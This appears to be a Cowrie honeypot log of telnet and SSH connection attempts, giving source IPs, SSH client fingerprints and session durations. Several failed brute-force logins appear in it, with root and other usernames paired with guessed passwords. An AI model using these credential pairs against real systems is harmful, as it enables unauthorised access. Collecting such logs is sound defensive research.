{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":33704,"dst_ip":"159.203.135.109","dst_port":23,"session":"11197bfdfc2c","protocol":"telnet","message":"New connection: 51.81.202.206:33704 (159.203.135.109:23) [session: 11197bfdfc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:00.282267Z"}
{"eventid":"cowrie.session.closed","duration":120.0012526512146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:02.741843Z","src_ip":"103.166.227.147","session":"ac33de8a21f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41104,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ebab5a53786","protocol":"telnet","message":"New connection: 144.79.218.12:41104 (10.17.0.5:23) [session: 6ebab5a53786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:04.769071Z"}
{"eventid":"cowrie.session.closed","duration":38.69295358657837,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:05.008376Z","src_ip":"144.79.218.12","session":"31c8caf794d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":47556,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed8d12f34c6","protocol":"telnet","message":"New connection: 51.81.202.206:47556 (159.203.135.109:23) [session: fed8d12f34c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:06.601445Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"532187dd4f67","protocol":"telnet","message":"New connection: 51.81.202.206:51820 (159.203.135.109:23) [session: 532187dd4f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:08.445084Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":53108,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfe4beeba4e1","protocol":"ssh","message":"New connection: 222.110.147.56:53108 (10.17.0.5:22) [session: cfe4beeba4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:09.326141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:09.330674Z","src_ip":"222.110.147.56","session":"cfe4beeba4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:09.839550Z","src_ip":"222.110.147.56","session":"cfe4beeba4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasd1234","message":"login attempt [root/qweasd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:10.693759Z","src_ip":"222.110.147.56","session":"cfe4beeba4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:11.901246Z","src_ip":"222.110.147.56","session":"cfe4beeba4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":49952,"dst_ip":"10.17.0.5","dst_port":22,"session":"697d2f16175c","protocol":"ssh","message":"New connection: 112.217.199.222:49952 (10.17.0.5:22) [session: 697d2f16175c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:13.079457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:13.084419Z","src_ip":"112.217.199.222","session":"697d2f16175c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:13.303270Z","src_ip":"112.217.199.222","session":"697d2f16175c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bc7c66b7a1","protocol":"telnet","message":"New connection: 144.79.218.12:38750 (10.17.0.5:23) [session: 23bc7c66b7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:13.835977Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321321","message":"login attempt [root/admin321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:14.167340Z","src_ip":"112.217.199.222","session":"697d2f16175c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.2634813785553,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:15.259995Z","src_ip":"144.79.218.12","session":"e93fb432f7f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:15.379580Z","src_ip":"112.217.199.222","session":"697d2f16175c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42556,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60f24a61da8","protocol":"telnet","message":"New connection: 51.81.202.206:42556 (159.203.135.109:23) [session: b60f24a61da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:29.508493Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58192,"dst_ip":"159.203.135.109","dst_port":22,"session":"e59b89bf4c30","protocol":"ssh","message":"New connection: 159.203.92.129:58192 (159.203.135.109:22) [session: e59b89bf4c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:29.676504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:29.680788Z","src_ip":"159.203.92.129","session":"e59b89bf4c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:29.684731Z","src_ip":"159.203.92.129","session":"e59b89bf4c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234567","message":"login attempt [alex/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:29.695032Z","src_ip":"159.203.92.129","session":"e59b89bf4c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:30.709851Z","src_ip":"159.203.92.129","session":"e59b89bf4c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84490966796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:31.127036Z","src_ip":"51.81.202.206","session":"11197bfdfc2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.878764390945435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:36.647699Z","src_ip":"144.79.218.12","session":"6ebab5a53786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58680,"dst_ip":"159.203.135.109","dst_port":23,"session":"497a68753924","protocol":"telnet","message":"New connection: 51.81.202.206:58680 (159.203.135.109:23) [session: 497a68753924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:36.839817Z"}
{"eventid":"cowrie.session.closed","duration":30.510886430740356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:37.112240Z","src_ip":"51.81.202.206","session":"fed8d12f34c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35116,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cd564ee6a7","protocol":"telnet","message":"New connection: 51.81.202.206:35116 (159.203.135.109:23) [session: 00cd564ee6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:38.859782Z"}
{"eventid":"cowrie.session.closed","duration":30.617231130599976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:39.062201Z","src_ip":"51.81.202.206","session":"532187dd4f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ed37ee33d9","protocol":"telnet","message":"New connection: 51.81.202.206:46718 (159.203.135.109:23) [session: e0ed37ee33d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:43.864468Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":39318,"dst_ip":"159.203.135.109","dst_port":22,"session":"de48d00670da","protocol":"ssh","message":"New connection: 152.32.213.101:39318 (159.203.135.109:22) [session: de48d00670da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:45.100458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:45.108469Z","src_ip":"152.32.213.101","session":"de48d00670da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:45.316166Z","src_ip":"152.32.213.101","session":"de48d00670da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.05363059043884,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:45.889483Z","src_ip":"144.79.218.12","session":"23bc7c66b7a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc@WSX!QAZ","message":"login attempt [root/3edc@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:46.160347Z","src_ip":"152.32.213.101","session":"de48d00670da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:47.383212Z","src_ip":"152.32.213.101","session":"de48d00670da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55372,"dst_ip":"10.17.0.5","dst_port":23,"session":"76b1fd61f3fa","protocol":"telnet","message":"New connection: 144.79.218.12:55372 (10.17.0.5:23) [session: 76b1fd61f3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:57.178293Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":51582,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9cb8f7367bb","protocol":"telnet","message":"New connection: 51.81.202.206:51582 (159.203.135.109:23) [session: d9cb8f7367bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:59.500051Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"0415dbf9c5b8","protocol":"telnet","message":"New connection: 51.81.202.206:52524 (159.203.135.109:23) [session: 0415dbf9c5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:37:59.952754Z"}
{"eventid":"cowrie.session.closed","duration":30.549686670303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:00.058074Z","src_ip":"51.81.202.206","session":"b60f24a61da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":53734,"dst_ip":"159.203.135.109","dst_port":23,"session":"539f39b7281a","protocol":"telnet","message":"New connection: 51.81.202.206:53734 (159.203.135.109:23) [session: 539f39b7281a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:00.576642Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34424,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7369ef853e7","protocol":"telnet","message":"New connection: 51.81.202.206:34424 (159.203.135.109:23) [session: c7369ef853e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:05.406265Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"68293a75ce31","protocol":"telnet","message":"New connection: 51.81.202.206:35400 (159.203.135.109:23) [session: 68293a75ce31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:05.926456Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":38284,"dst_ip":"159.203.135.109","dst_port":23,"session":"630a0fabda82","protocol":"telnet","message":"New connection: 51.81.202.206:38284 (159.203.135.109:23) [session: 630a0fabda82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:07.204490Z"}
{"eventid":"cowrie.session.closed","duration":30.47975182533264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:07.319507Z","src_ip":"51.81.202.206","session":"497a68753924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":40386,"dst_ip":"159.203.135.109","dst_port":23,"session":"610633339d33","protocol":"telnet","message":"New connection: 51.81.202.206:40386 (159.203.135.109:23) [session: 610633339d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:08.004371Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":40454,"dst_ip":"159.203.135.109","dst_port":23,"session":"37099f5dfe48","protocol":"telnet","message":"New connection: 51.81.202.206:40454 (159.203.135.109:23) [session: 37099f5dfe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:08.031037Z"}
{"eventid":"cowrie.session.closed","duration":30.8586266040802,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:09.718272Z","src_ip":"51.81.202.206","session":"00cd564ee6a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48434,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a5541caff7","protocol":"telnet","message":"New connection: 144.79.218.12:48434 (10.17.0.5:23) [session: e4a5541caff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:10.908401Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":39308,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec9411614bb","protocol":"ssh","message":"New connection: 112.217.199.222:39308 (10.17.0.5:22) [session: 7ec9411614bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:11.662319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:11.666778Z","src_ip":"112.217.199.222","session":"7ec9411614bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48874,"dst_ip":"159.203.135.109","dst_port":23,"session":"6778df02d0fa","protocol":"telnet","message":"New connection: 51.81.202.206:48874 (159.203.135.109:23) [session: 6778df02d0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:11.775137Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:11.880789Z","src_ip":"112.217.199.222","session":"7ec9411614bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qpwoeiruty","message":"login attempt [root/qpwoeiruty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:12.765606Z","src_ip":"112.217.199.222","session":"7ec9411614bb","protocol":"ssh"}
